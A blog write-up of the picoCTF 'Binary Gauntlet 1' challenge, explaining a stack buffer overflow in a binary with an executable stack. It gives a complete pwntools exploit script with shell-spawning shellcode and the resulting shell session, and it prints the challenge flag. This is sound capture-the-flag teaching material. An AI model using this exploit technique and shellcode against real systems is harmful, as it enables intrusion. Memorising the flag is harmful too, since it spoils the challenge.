Abraxus's Blog

picoCTF Binary Gauntlet 1 Write Up

Details:

Points: 30

Jeopardy style CTF

Category: Binary Exploitation

Comments: Okay, time for a challenge. gauntlet nc mercury.picoctf.net 19968

Write up:

Opening up the file in a decompiler we see the main function:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char dest[104]; 
  char *s;

  s = (char *)malloc(1000uLL);
  printf("%p\n", dest);
  fflush(_bss_start);
  fgets(s, 1000, stdin);
  s[999] = 0;
  printf(s);
  fflush(_bss_start);
  fgets(s, 1000, stdin);
  s[999] = 0;
  strcpy(dest, s);
  return 0;
}

I noticed almost immediately that the vulnerability was a buffer overflow since we were copying a 999 character string to a 103 character string.

There were no references of the flag in the program so I knew that I would need to get shell access to the machine the program was running on.

First I checked the security on the binary:

checksec --file=gauntlet                             

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   67) Symbols       No    0               3gauntlet

I saw that NX was disabled which meant that the stack was executable. They gave us the address of dest which was a fairly big hint.

At this point my plan of attack was to write the shellcode to dest and then do a buffer overflow so that I could overwrite where the return goes to.

I used cyclic from pwntools to generate a pattern and saw that after 120 characters we would need to write the address we wanted to go to. I then created the following python script:

# import pwn tools
from pwn import *

# open remote process
r = remote('mercury.picoctf.net', 19968)

# get the line with the address
address = r.recvline() 

# turn address into an int so we can add later on
address = int(address[:-1], 16)

# send arbitrary text
r.send('boo\n')

# get the next line
r.recvline()

# 64 bit shellcode
shellcode = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'

# 96 nops for the nop slide
NOPS = b'\x90'*96

# craft payload
payload = shellcode + NOPS + p64(address)

# send payload
r.send(payload + b'\n')

# get interactive mode
r.interactive()

Running the script I got:

[+] Opening connection to mercury.picoctf.net on port 19968: Done
[*] Switching to interactive mode

$ ls
flag.txt
gauntlet
gauntlet_no_aslr
xinet_startup.sh

$ cat flag.txt
7504344981b9288c5669150ada84894e

The flag was:

7504344981b9288c5669150ada84894e